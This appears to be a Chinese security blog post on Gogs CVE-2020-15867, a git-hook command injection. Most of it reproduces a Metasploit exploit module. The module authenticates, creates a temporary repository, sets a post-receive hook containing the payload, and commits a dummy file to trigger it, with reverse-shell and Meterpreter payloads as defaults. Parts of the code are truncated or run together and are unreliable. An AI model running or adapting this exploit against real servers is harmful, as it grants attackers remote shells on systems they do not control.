Gogs Git Hooks 远程代码执行漏洞（CVE-2020-15867）

# Gogs Git Hooks 远程代码执行漏洞（CVE-2020-15867）

Gogs（Go Git Service）是Gogs团队的一个基于Go语言的自助Git托管服务，它支持创建、迁移公开/私有仓库，添加、删除仓库协作者等。 Gogs 0.5.5版本至0.12.2版本 git hook feature 存在操作系统命令注入漏洞，该漏洞源于在允许通过身份验证的远程代码执行。

此模块已在Docker上针对0.12.3版本成功测试。

gogs_git_hooks_rce.rb for metasploit：

“`ruby
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => ‘Gogs Git Hooks Remote Code Execution’,
‘Description’ => %q{
This module leverages an insecure setting to get remote code
execution on the target OS in the context of the user running Gogs.
This is possible when the current user is allowed to create `git
hooks`, which is the default for administrative users. For
non-administrative users, the permission needs to be specifically
granted by an administrator.

To achieve code execution, the module authenticates to the Gogs web
interface, creates a temporary repository, sets a `post-receive` git
hook with the payload and creates a dummy file in the repository.
This last action will trigger the git hook and execute the payload.
Everything is done through the web interface.

No mitigation has been implemented so far (latest stable version is
0.12.3).

This module has been tested successfully against version 0.12.3 on
docker. Windows version could not be tested since the git hook feature
seems to be broken.
},
‘Author’ => [
‘Podalirius’, # Original PoC
‘Christophe De La Fuente’ # MSF Module
],
‘References’ => [
[‘CVE’, ‘2020-15867’],
[‘EDB’, ‘49571’],
[‘URL’, ‘https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/’],
[‘URL’, ‘https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/’]
],
‘DisclosureDate’ => ‘2020-10-07’,
‘License’ => MSF_LICENSE,
‘Platform’ => %w[unix linux win],
‘Arch’ => [ARCH_CMD, ARCH_X86, ARCH_X64],
‘Privileged’ => false,
‘Targets’ => [
[
‘Unix Command’,
{
‘Platform’ => ‘unix’,
‘Arch’ => ARCH_CMD,
‘Type’ => :unix_cmd,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘cmd/unix/reverse_bash’
}
}
],
[
‘Linux Dropper’,
{
‘Platform’ => ‘linux’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Type’ => :linux_dropper,
‘DefaultOptions’ => {
‘CMDSTAGER::FLAVOR’ => :bourne,
‘PAYLOAD’ => ‘linux/x64/meterpreter/reverse_tcp’
}
}
],
[
‘Windows Command’,
{
‘Platform’ => ‘win’,
‘Arch’ => ARCH_CMD,
‘Type’ => :win_cmd,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘cmd/windows/powershell_reverse_tcp’
}
}
],
[
‘Windows Dropper’,
{
‘Platform’ => ‘win’,
‘Arch’ => [ARCH_X86, ARCH_X64],
‘Type’ => :win_dropper,
‘DefaultOptions’ => {
‘PAYLOAD’ => ‘windows/x64/meterpreter/reverse_tcp’
}
}
],
],
‘DefaultOptions’ => { ‘WfsDelay’ => 30 },
‘DefaultTarget’ => 1,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION]
}
)
)

register_options([
Opt::RPORT(3000),
OptString.new(‘TARGETURI’, [true, ‘Base path’, ‘/’]),
OptString.new(‘USERNAME’, [true, ‘Username to authenticate with’]),
OptString.new(‘PASSWORD’, [true, ‘Password to use’]),
])

@need_cleanup = false
end

def check
res = send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown(‘Target did not respond to check.’)
end

#
unless res.body.match(%r{})
return CheckCode::Unsupported(‘Target does not appear to be running Gogs.’)
end

CheckCode::Appears(‘Gogs found’)
end

def exploit
print_status(“Executing #{target.name} for #{datastore[‘PAYLOAD’]}”)

print_status(“Authenticate with \”#{datastore[‘USERNAME’]}/#{datastore[‘PASSWORD’]}\””)
gogs_login
print_good(‘Logged in’)

@repo_name = [Faker::App.name, Faker::App.name].join(‘_’).gsub(‘ ‘, ‘_’)
print_status(“Create repository \”#{@repo_name}\””)
gogs_create_repo
@need_cleanup = true
print_good(‘Repository created’)

case target[‘Type’]
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper, :win_dropper
execute_cmdstager(background: true, delay: 1)
end
end

def execute_command(cmd, _opts = {})
vprint_status(“Executing command: #{cmd}”)

print_status(‘Setup post-receive hook with command’)
gogs_post_receive_hook(cmd)
print_good(‘Git hook setup’)

print_status(‘Create a dummy file on the repo to trigger the payload’)
last_chunk = cmd_list ? cmd == cmd_list.last : true
gogs_create_file(last_chunk: last_chunk)
print_good(“File created#{‘, shell incoming…’ if last_chunk}”)
end

def http_post_request(uri, opts = {})
csrf = opts.delete(:csrf) || get_csrf(uri)
timeout = opts.delete(:timeout) || 20

post_data = { _csrf: csrf }.merge(opts)
request_hash = {
‘method’ => ‘POST’,
‘uri’ => normalize_uri(datastore[‘TARGETURI’], uri),
‘ctype’ => ‘application/x-www-form-urlencoded’,
‘vars_post’ => post_data
}

send_request_cgi(request_hash, timeout)
end

def get_csrf(uri)
vprint_status(‘Get “csrf” value’)
res = send_request_cgi(
‘method’ => ‘GET’,
‘uri’ => normalize_uri(uri)
)
unless res
fail_with(Failure::Unreachable, ‘Unable to get the CSRF token’)
end

csrf = extract_value(res, ‘_csrf’)
vprint_good(“csrf=#{csrf}”)
csrf
end

def extract_value(res, attr)
#
#
#
unless (match = res.body.match(/ ‘GET’, ‘uri’ => uri)
unless res
fail_with(Failure::Unreachable, “Unable to reach #{uri}”)
end

vprint_status(‘Get “csrf” and “last_commit” values’)
csrf = extract_value(res, ‘_csrf’)
vprint_good(“csrf=#{csrf}”)
last_commit = extract_value(res, ‘last_commit’)
vprint_good(“last_commit=#{last_commit}”)

http_post_request(
uri,
last_commit: last_commit,
tree_path: filename,
content: Rex::Text.rand_text_alpha(1..20),
commit_summary: ”,
commit_message: ”,
commit_choice: ‘direct’,
csrf: csrf,
timeout: last_chunk ? 0 : 20 # The last one never returns, don’t bother waiting
)
vprint_status(“#{filename} created”)

nil
end

# Hook the HTTP client method to add specific cookie management logic
def send_request_cgi(opts, timeout = 20)
res = super

return unless res

# HTTP client does not handle cookies with the same name correctly. It adds
# them instead of substituing the old value with the new one.
unless res.get_cookies.empty?
cookie_jar_hash = cookie_jar_to_hash
cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(‘ ‘))
cookie_jar_hash.merge!(cookies_from_response)
cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
set << "#{cookie[0]}=#{cookie[1]}" end cookie_jar.clear cookie_jar.merge(cookie_jar_updated) end res end def cookie_jar_to_hash(jar = cookie_jar) jar.each_with_object({}) do |cookie, cookie_hash| name, value = cookie.split('=') cookie_hash[name] = value end end def cleanup super return unless @need_cleanup print_status('Cleaning up') uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings') res = http_post_request(uri, action: 'delete', repo_name: @repo_name) unless res fail_with(Failure::Unreachable, 'Unable to reach the settings page') end unless res.code == 302 fail_with(Failure::UnexpectedReply, 'Delete repository failure') end print_status("Repository #{@repo_name} deleted.") nil end end ``` ref： * http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202010-720 * https://nox.qianxin.com/vulnerability/detail/67108 * https://packetstormsecurity.com/files/162123/gogs_git_hooks_rce.rb.txt